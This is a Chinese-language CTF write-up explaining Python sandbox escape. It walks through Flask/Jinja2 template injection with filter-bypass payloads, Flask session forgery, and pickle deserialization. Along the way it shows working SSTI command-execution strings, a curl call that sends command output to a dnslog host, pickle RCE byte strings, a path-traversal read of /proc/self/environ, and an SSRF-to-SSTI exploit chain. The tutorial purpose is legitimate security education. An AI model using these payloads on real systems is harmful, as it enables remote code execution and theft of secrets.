聊一聊我认识的Python安全

2021-03-25
585

0x00 前言

在CTF比赛中,Python的题目种类也越来越多。记得之前遇到Python题目的模板注入反序列化题目笔者都会抄一下网上的Payload然后获取flag。但吃鸡腿,不知道鸡腿从何而来,是无法品尝到其中的美味的~ 本篇文章以笔者的角度来描述一下这盘子中的美味,来刨析出鸡腿的腿有多么性感。并且笔者会将Python 2 与 Python 3结合,没有下酒菜的酒局是没有味道的。整篇文章共5700字,供大家阅读体会,欢迎批评讨论~

0x01 沙箱逃逸原理及利用

相信大家在抄Payload的时候会发现(明明只有笔者抄 T.T),关于SSTI的Payload都是很长一大串,例如:

这是一个典型的文件读取Payload。可是我们现在并不知道原理,那么跟着笔者一步一步尝试来获取它其中的秘密吧!

一:刨析原理

首先我们需要理解一下Python的几种数据类型,笔者这里将常见数据类型放入一个列表中再进行依次打印,例如:

Python3:

Python2:

我们可以看到,使用type来进行检查数据类型时,会返回 <class 'XXX'>,那么我们会注意到XXX前的class,在编程语言中,class是用来定义类的。是的,没错,在Python中,一个字符串则为str类的对象,一个整形则为int类的对象,一个浮点数据则为float的对象...

我们可以通过id来看一下这些对象的编号是多少,如图:

得出首条结论:在Python中,一切皆对象。

那么知道这些有什么用呢?一个对象则存在属性与方法,我们可以通过dir来进行查看,如图(这里用普通字符串来进行举例):

我们可以看到字符串python2与python3都返回了upper,我们知道upper是一个函数,那么我们使用一下该方法。如图:

因为在Python中一切都是对象,所以方法与类也是对象,如图:

我们现在缺少的只是方法与类的调用而已,文章中不再描述如何调用。

那么现在问题就出来了,我们知道Python中存在数据类型,这些数据类型它们都是一个类,我们是怎么找到这个类并实例化出来它们的?又或者说,在Python中存在一些函数,我们是怎么找到它们并调用的?如何查找到是当前的一个问题。

我们可以通过globals函数来进行查看(globals是获取当前可访问到的变量):

我们可以看到我们定义的变量a已经放入到globals函数当中了,我们可以看到有__builtins__这样一个变量,它是一个模块。并且模块名在Python2中命名为__builtin__,在Python3中又重新命名为了builtins。

我们使用dir看一下该模块中所存在的一些内容。

我们可以看到,我们所使用的基础方法都存放在该模块中,我们使用该模块调用一下print函数来进行测试。

我们可以看到,在Python3中返回正常,Python2却抛出异常,这是因为在Python2中print为一个语句,在Python3中它换成了一个函数。

得出第二条结论:在Python2/3中,任何基础类以及函数都存放在__builtin__/builtins模块中。

那么如果我们通过一些方式,可以定位到__builtin__ / builtins模块,那岂不是可以进行进行调用任意函数了。

现在的问题是我们该怎么定位。

我们知道builtins是存放在globals函数中的,与变量的作用域是有关系的,谈到变量的作用域,我们会想到一个玩意:自定义方法。

我们可以自定义一个方法,将它视为一个对象,使用dir看一下它下面的成员属性。

如图:

果然,在一个普通方法中是存在__globals__这么一个成员属性的,我们可以打印它看一下。

我们可以看到 __globals__ 就是 globals() 函数的返回值,同理,它们下面都存在 __builtins__ 变量,我们可以使用“函数.__globals__['__builtins__'].恶意函数()”来执行一下eval。如图:

我们可以看到,eval被我们成功执行!

而方法也是可以定义在类中的,我们简单定义一个类,并且定义一个__init__魔术方法(__init__是魔术方法,该方法在被类创建时自动调用)。

我们可以看到同样是可以调用eval的。

如果我们不定义__init__会怎么样呢?我们可以看一下。

可以看到,在Python2中会报错,而python3中会返回slot。不定义__init__是不可以访问到__globals__成员属性的,如图:

我们再看一下模块中的方法与当前都有什么区别。

这里区别就很明显了,这里“模块中的方法”中__globals__[__builtins__]中的所有内容都被存放入一个字典中才可以进行调用。我们调用一下eval来进行测试,如图:

当然我们可以使用__import__函数调用os来进行执行命令,如图:

我们可以看到whoami被成功调用。

得出第三条结论:我们可以通过一个普通函数(或类中已定义的方法)对象下的__globals__成员属性来得到__builtins__,从而执行任意函数,这里要注意的是,模块与非模块下的__globals__的区别。

那么实际场景中,根本没有这样一个方法给我们利用。我们应该怎么做?

我们使用dir看一下普通类型(int,str,bool....)的返回结果。如图:

我们查看一下__class__的内容。如图:

可以看到通过__class__成员属性可以得到当前对象是XXX类的实例化。

在Python中,所有数据类型都存放于Object一个大类中,如图:

我们可以通过__bases__/__mro__/__base__来得到object,如图:

可以看到在python2中并没有直接返回object,我们可以再次访问__bases__就可以得到object了,如图:

那么通过__subclasses__即可得到object下的所有子类,如图:

下面我们就可以来依次判断这些类中是否定义__init__(或其他魔术方法)方法,如果定义,那么就可以拿到__init__(或其他魔术方法)下的__globals__[“__builtins__”]从而执行任意函数,编写脚本进行测试:

可以看到这些类都是可以进行利用的类。当然,也可以使用其他魔术方法,这里举例__delete__魔术方法,如图:

得出第四条结论:我们可以通过普通数据类型的__class__成员属性得到所属类,再通过__bases__/__base__/__mro__可以得到object类,再次通过__subclasses__()来得到object下的所有基类,遍历所有基类检查是否存在指定的魔术方法,如果存在,那么即可获取__globals__[__builtins__],就可以调用任意函数了。

如上总结在Python2/3中都是可以进行利用的,只是在Python2中多了一种file的姿势。

如图:

只是file在Python3中被移除了,故Python3中没有此利用姿势。

二:flask模板注入

沙箱逃逸通常与flask的模板注入紧密联系,模板中存在可以植入表达式的可控点那么就会存在SSTI问题。

存在漏洞的代码:

from flask import Flask,render_template,request,render_template_string,session

from datetime import timedelta

 

app = Flask(__name__)

app.config['SECRET_KEY'] = 'hacker'

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

@app.route('/test',methods=['GET', 'POST'])

def test():

content = request.args.get("content")

template = '''

 

Oops! That page doesn't exist.

%s

Your Money : %s

 

''' %(content, session.get('money'))

return render_template_string(template)

@app.route('/sess')

def t():

session['money'] = 100

return '设置金额成功...'

if __name__ == '__main__':

app.debug = True

app.run()

在/test路由中存在模板注入漏洞,那么我们可以通过传递payload:

?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} 来进行执行任意命令(__subclasses__可利用的键值可以通过Burp从1-999进行爆破出结果,这里得到80可以被利用),如图:

至此,我们完成了首次模板注入。

但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。

三:过滤问题总结

这里简单记录一下模板注入中的一些过滤的绕过。

  • 过滤中括号

我们知道__subclasses__()返回一个列表,__globals__返回一个字典,而列表的访问语法与字典的访问语法需要借助于中括号,如果将中括号过滤,那么我们怎么办呢?

我们使用dir来查看一下“正常的列表/正常的字典”下的成员属性及方法,如图:

可以看到存在__getitem__方法。

进行调用:

当然,字典的访问也是可以通过__getitem__方法来进行绕过(pop方法也可以被利用)。

  • 过滤引号

如果过滤引号,我们岂不是不可以进行模板注入了?

引号则表示str类型的数据,而str类型的数据可以通过变量来表示,这里可以借助于flask中request.args对象来作为变量,以get传递进行赋值。

构造Payload:

?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.__builtins__][request.args.__import__](request.args.os).popen(request.args.whoami).read()}}&__builtins__=__builtins__&__import__=__import__&os=os&whoami=whoami

如图:

成功执行命令。

  • 过滤双下划线

由于在jinja2中允许“对象[属性]”的方式来访问成员属性,如图:

此时的属性放置的内容为字符类型,我们可以通过request.args全程代替。

构造Payload:

?content={{[][request.args.class][request.args.base][request.args.subclasses]()[80][request.args.init][request.args.globals][request.args.builtins][request.args.import](request.args.os).popen(request.args.whoami).read()}}&builtins=__builtins__&import=__import__&os=os&whoami=whoami&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__

如图:

当然,也可以通过字符串拼接的方式,构造Payload:

?content={{[]['_'+'_class_'+'_']}},结果如下:

  • 过滤{{}}

{{}}通常来表示一个变量,而{%%}则表示为流程语句,虽然不可以回显内容,但是我们可以通过curl来进行外带数据。

Payload:

?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('curl http://w9y7rp.dnslog.cn/?test=`whoami`').read() !=1 %}1{% endif %}

自定义一个web服务即可接收到,笔者这里使用的是dnslog,得不到发出的参数。如图:

当然反弹shell也是一种不错的姿势,这里就不再描述了。

四:flask的一些其他问题

  • Python的session值篡改攻击

在CTF考点中还存在一种身份伪造类的题目。我们看一下该代码块的sess路由,如图:

from flask import Flask,render_template,request,render_template_string,session

from datetime import timedelta

 

app = Flask(__name__)

app.config['SECRET_KEY'] = 'hacker'

app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

@app.route('/test',methods=['GET', 'POST'])

def test():

content = request.args.get("content")

template = '''

 

Oops! That page doesn't exist.

%s

Your Money : %s

 

''' %(content, session.get('money'))

return render_template_string(template)

@app.route('/sess')

def t():

session['money'] = 100

return '设置金额成功...'

if __name__ == '__main__':

app.debug = True

app.run()

我们可以看到,这里定义了session[money]=100。当我们访问/sess时,服务端就会返回一个jwt给我们,如图:

可以看到session是以jwt来进行存储的,而使用jwt存储是有危害的。

关于jwt的解释:https://www.jianshu.com/p/576dbf44b2ae

只要我们获取SECRET_KEY,那么该JWT是可以进行伪造的。

问题是我们如何进行获取SECRET_KEY?

  • 第一种:通过SSTI的{{config}}

如图:

我们可以看到,{{config}}是可以窃取出SECRET_KEY。

  • 第二种:通过Linux中的/proc/self/environ

这种姿势我们会在“CTF小结”中的一道叫做“[PASECA2019] honey_shop”的题目所记载。它需要任意文件读取的姿势才可以进行得到SECRET_KEY。

  • 第三种:爆破

有一道叫做“[CISCN2019 华北赛区 Day1 Web2]ikun”的题目涉及到了这种姿势,其中又提到了Python反序列化,这里奉上WriteUp:

https://blog.csdn.net/weixin_43345082/article/details/97817909

对于反序列化,笔者会在0x02中进行描述。

我们可以通过flask-session-cookie-manager工具来生成恶意的JWT即可完成身份伪造,工具GitHub:https://github.com/style-404/flask-session-cookie-manager。

首先我们对当前的JWT进行base64解码,如图:

这里可以得出一条json数据过来,那么我们使用flask-session-cookie-manager工具,借助SECRET_KEY来将money篡改为999.

工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"

修改本地的session值,随后访问/test查看结果。

可以看到成功篡改money的值。

  • 基于DEBUG的PIN码攻击

它所利用的条件为 任意文件读取+flask的DEBUG模式。

参考文章:https://xz.aliyun.com/t/2553

这里笔者就不再做演示了。

五:部分CTF题目实例

  • Real -> [Flask]SSTI

这道题是比较基础的一道题目,无任何过滤,我们直接进行注入即可。

可以看到表达式被正常解析,那么继续往下操作即可。

构造Payload:

?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()}}

命令执行结果如图:

  • WEB -> [GYCTF2020]FlaskApp

该题目有两个功能,Base64加密与Base64解密,在Base64解密处存在模板注入。

题目如图:

解密结果:

由此得知存在ssti。

经过测试,得知75存在可利用的function为__init__,如图:

提交后:

但继续往下构造攻击链时,发现过滤了一些敏感关键字,使用open进行读取源码:

源码过滤如图:

我们可以看到万恶的request也被过滤了,但是这里我们可以使用字符拼接来进行绕过,popen可以使用中括号加字符拼接的方式进行调用,那么构造Payload:{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}

编码为base64后提交,查看一下结果:

存在flag关键字,导致我们无法读取,这里我们可以通过命令执行的绕过姿势“\\”来进行绕过,再次构造Payload:

{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('cat /this_is_the_fl\\ag.txt').read()}}

编码为base64后进行提交:

  • WEB -> [CSCCTF 2019 Qual]FlaskLight

打开题目源码发现提示参数 search

那么我们可以通过?search={{2*3}}来查看一下结果。

可以看到6弹我们一脸,那么此处存在ssti。

__subclasses__丢进Burp进行爆破键值,如图:

得出下标为59的__init__魔术方法可以被利用,如图:

构造Payload至__globals__发现被过滤,简单访问一下,真的返回500,如图:

可以使用request.arg.x 来进行绕过,构造Payload:

?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__import__']('os').popen('ls /flasklight').read()}}&g=__globals__

查看结果:

再次构造Payload读取flag:

?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__import__']('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=__globals__

如图:

  • WEB -> [pasecactf_2019]flask_ssti

查看源代码,发现Ajax请求:

笔者在构造Payload时,发现过滤了 单引号(‘)、点(.),下划线(_),那么我们可以通过双引号来解析变量,并且使用16进制代替下划线即可。

如图:

构造Payload来进行爆破下标:

?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[§80§]["\x5F\x5Finit\x5F\x5F"]}}

发现下标为91的__init__方法可以被利用,如图:

构造Payload执行命令:

?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]["\x5F\x5Fimport\x5F\x5F"]("os")["popen"]("\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79")["read"]()}}

其中

\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79

为 cat /proc/self/cwd/app.py,这里转换可以使用笔者已经写好的脚本:

payload = b'cat /proc/self/cwd/app.py'

string = payload.hex()

result = ''

for i in range(0, len(string), 2):

result += '\\x' + string[i:i+2]

print(result)

结果如图:

可以看到flag文件被os删掉了,但是flag的值被存放于app.config当中,并且经过了encode函数处理,我们可以看一下encode函数的定义:

是使用的异或算法,那么现在我们只需要从config中拿到加密后的flag值,并且将它再次执行一下encode函数即可得到flag。

再次执行函数

则得到flag。

  • WEB -> [PASECA2019]honey_shop

该题目属于JWT身份伪造攻击,首先我们打开主页,可以看到金额为1336,如图:

而flag需要1337。

在/download路由下存在文件下载,猜测存在任意文件下载,那么我们下载../../../../../../../../../proc/self/environ来进行观察,如图:

成功下载到并拿到SECRET_KEY,然后我们对当前网址的jwt使用base64进行解密,得出:

伪造为:{"balance":1338,"purchases":[]},即可购买flag了。

0x02 Python反序列化漏洞利用

原理文章推荐

因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。

传送门:https://zhuanlan.zhihu.com/p/89132768

这里做一下总结,并且对一种利用姿势扩大成果,然后分享一道有意思的例题。

Python反序列化能干什么?

  • R指令码的RCE

Python的反序列化比PHP危害更大,可以直接进行RCE。

编写测试脚本:

import pickle, os, base64

class Exp(object):

def __reduce__(self):

return (os.system, ('dir',))

with open('./hacker.txt', 'wb') as fileObj:

pickle.dump(Exp(), fileObj)

会在当前目录生成hacker.txt,内容为序列化的值。如图:

我们再次使用pickle进行反序列化即可执行dir命令。

这里可以看到成功执行了dir命令。

  • c指令码的变量获取

当R指令码被禁用后,我们可以采取这种姿势来获取变量。

在当前目录下创建flag.py文件,并且存放一个flag变量,当作模块来进行使用。如图:

编写获取flag变量的脚本:

import flag, pickle

 

class Person():

pass

b = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.'

print(pickle.loads(b).test)

主要思路为:“cflag\nflag\n“当作test属性的value值压进了前序栈的空dict,随后使用b覆盖了Person类的__dict__成员属性,导致了变量被窃取。

我们可以看到pickle.loads返回的对象下的test就是flag的值,如图:

  • c指令码的变量修改

当R指令码被禁用后,并且find_class函数只允许获取__main__中的变量时,我们可以采取这种姿势来修改任意变量。

在原理文章中并没有提到一种姿势,而有一种姿势也是可以进行利用的。我们先按照原理文章来测试一遍。

测试脚本:

import flag, pickle

 

class Person():

pass

b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0c__main__\nPerson\n)\x81}(Va\nVa\nub.'

pickle.loads(b)

print(flag.flag)

主要思路为:使用c将flag模块导入进来,通过ub来更新flag模块的__dict__属性,故可以恶意修改变量的值。

查看结果:

我们可以看到,flag包中的flag变量被成功修改。

那么在反序列化中,一个普通字符串也是可以当作一种数据来进行序列化的,所以这里并不需要Person的类支撑即可完成变量修改。

修改脚本如下:

import flag, pickle

b = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.'

print(pickle.loads(b))

print(flag.flag)

结果:

那么就成功篡改了flag包中的flag变量的内容。

  • __setstate__ 特性 RCE

编写测试脚本:

import flag, pickle

class Person():

pass

 

b = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.'

print(pickle.loads(b))

主要思路为:借助于__setstate__的特性造成了RCE。

执行结果:

可以看到成功执行了dir命令。

近看一道ssrf+反序列化+SSTI的例题

这道题是朋友很早之前就留下来的,在网上也找不到现成的反序列化题目,就用它好了。

题目代码是这样的:

from flask import Flask,render_template

from flask import request

import urllib

import sys

import os

import pickle

import ctf_config

from jinja2 import Template

import base64

import io

 

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

if module == '__main__':

return getattr(sys.modules['__main__'], name)

raise pickle.UnpicklingError("only __main__")

def get_domain(url):

if url.startswith('http://'):

url = url[7:]

if not url.find("/") == -1:

domain = url[url.find("@")+1:url.index("/",url.find("@"))]

else:

domain = url[url.find("@")+1:]

print(domain)

return domain

else:

return False

@app.route("/", methods=['GET'])

def index():

return render_template("index.html")

@app.route("/get_baidu", methods=['GET'])   # get_baidu?url=http://127.0.0.1:8000/?@www.baidu.com/

def get_baidu():

url = request.args.get("url")

if(url == None):

return "please get url"

if(get_domain(url) == "www.baidu.com"):

content = urllib.request.urlopen(url).read()

return content

else:

return render_template('index.html')

@app.route("/admin", methods=['GET'])

def admin():

data = request.args.get("data")

if(data == None):

return "please get data"

ip = request.remote_addr

if ip != '127.0.0.1':

return redirect('index')

else:

name = base64.b64decode(data)

if b'R' in name:

return "no __reduce__"

name = RestrictedUnpickler(io.BytesIO(name)).load()

if name == "admin":

t = Template("Hello " + name)

else:

t = Template("Hello " + ctf_config.name)

return t.render()

if __name__ == '__main__':

app.debug = False

app.run(host='0.0.0.0', port=8000)

在45行中存在一个判断。

if(get_domain(url) == "www.baidu.com"):

content = urllib.request.urlopen(url).read()

return content

如果进入到该分支则调用至urllib.request.urlopen函数,那么我们看一下get_domain方法是逻辑是怎么样的。

在27行中出现了漏洞问题,如果url中存在“/”,则返回@符号往后的内容,那么这里存在一个伪造的情况,例如:http://127.0.0.1:3306/?@www.baidu.com/,

则会匹配到www.baidu.com/,但是实际发送出的HTTP请求还是发送至127.0.0.1身上,所以说这里存在一个SSRF漏洞问题。

而在51-68行中确实验证了访问者的IP(这里可以使用SSRF进行绕过),如图:

61行禁用了R指令,则表示不可以使用__reduce__进行命令执行操作,可以看到63行实例化了RestrictedUnpickler类,而该类则继承了pickle.Unpickler类,如图:

同时重写了find_class的方法,这时c指令只可以进行导入本地模块。而类名中存在“R关键字”,则无法进行__setstate__姿势的RCE,这里利用方式只剩下一种:c指令码的变量修改。

但是变量修改有什么用呢?我们可以注意到第67行的ctf_config包下的name变量,如图:

直接将变量的值拼接到Template方法中,这里存在一个SSTI注入问题。

那么思路就有了:通过get_data路由发送SSRF请求->admin路由接收进行反序列化->修改ctf_config下的name属性为SSTI注入语句->实现RCE。

那么编写POC脚本:

import base64

ssti = b'2*6'

payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'

 

payload = base64.b64encode(payload).decode('utf-8')

print(payload)

传递Payload:

http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI的值%26@www.baidu.com/

如图:

成功进行SSTI注入,笔者发现__subclasses__()的第81下标存在可利用的function,那么这里直接执行whoami:

可以看到成功执行了“whoami”。

0x03 尾巴

无聊的话,就一起来玩会Python吧。

转载时必须以链接形式注明原始出处及本声明